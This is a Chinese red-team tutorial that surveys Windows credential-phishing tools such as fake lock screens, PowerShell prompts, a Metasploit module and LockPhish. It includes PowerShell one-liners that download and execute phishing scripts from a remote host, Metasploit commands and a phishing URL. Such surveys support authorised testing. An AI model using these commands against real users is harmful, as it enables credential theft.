Windows凭证钓鱼方式面面观
字数 1504 2025-08-22 22:47:30
Windows凭证钓鱼技术全面解析
文章前言
在Windows环境中,当执行程序要求用户输入域凭据进行身份验证(如Outlook、权限提升授权或系统锁屏状态)时,攻击者可以模仿这种行为获取用户凭据。这种技术在红队测试中非常有用,特别是在已获得初始立足点但无法通过其他方法获取凭证时。
C#实现方式
FakeLogonScreen
项目地址: https://github.com/bitsadmin/fakelogonscreen
特点:
- 由arrishuijgen用C#开发
- 模仿Windows登录屏幕
- 显示当前配置的背景降低怀疑(Windows 10效果更佳)
- 对输入的密码进行AD或本地验证
- 密码会显示在控制台中
- 凭据存储在本地文件
user.db中(路径示例:C:\Users\Administrator\AppData\Local\Microsoft\user.db)
Win7测试效果: 效果不如Win10理想
SharpLocker
项目地址: https://github.com/Pickfordmatt/SharpLocker
特点:
- 由matt pickford开发
- 显示假登录屏幕
- 每次击键都会在控制台捕获
- 密码完全暴露
- Win10效果稍好
测试效果:
- 密码错误时会要求重新输入
- 凭证会在MSF中记录
PowerShell实现方式
CredsLeaker
项目地址: https://github.com/Dviros/CredsLeaker
实施步骤:
- 搭建Web服务托管PowerShell脚本
- 修改脚本中的URL地址
- 上传并执行run.bat文件
特点:
- 模仿Windows安全提示
- 要求Web服务器存储必要文件
- 凭据写入文本文件并通过PowerShell发送HTTP请求
- 对凭据执行验证,只有正确时弹出窗口才会消失
- 域、主机名、用户名和密码写入Web目录
Invoke-LoginPrompt
项目地址: https://github.com/enigma0x3/Invoke-LoginPrompt
特点:
- 由matt nelson开发
- 生成输入提示并检查凭据有效性
- 可从远程位置执行
- 凭据显示在控制台中
执行命令:
powershell.exe -ep Bypass -c IEX((New-Object Net.WebClient).DownloadString('http://192.168.174.129/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Nishang框架中的Invoke-CredentialsPhish
特点:
- 创建假输入提示获取Windows凭据
- 凭据在控制端被记录
- 可从远程位置执行逃避检测
执行命令:
powershell.exe -ep Bypass -c IEX((New-Object Net.WebClient).DownloadString('http://192.168.174.129/Invoke-CredentialsPhish/ps1')); Invoke-CredentialsPhish
Metasploit实现方式
模块路径: post/windows/gather/phish_windows_credentials
使用步骤:
- 链接到现有会话
- 设置目标进程
- 执行模块
命令示例:
use post/windows/gather/phish_windows_credentials
set SESSION 6
set PROCESS *
run
特点:
- 在创建特定进程或任何进程时生成输入提示
- 作为进程的凭证请求显示给用户
- 成功获取认证凭证
BASH实现方式 - LockPhish
项目地址: https://github.com/kali-linux-tutorial/lockphish
实施步骤:
- 克隆仓库
- 运行脚本
- 欺骗用户点击链接
特点:
- 针对Windows登录屏幕的网络钓鱼攻击
- 使用PHP服务器托管模板
- 默认使用YouTube作为重定向目标
- 需要社会工程诱导用户点击
- 不会自我校验凭证准确性
示例钓鱼页面URL: https://98fa1361288f.ngrok.io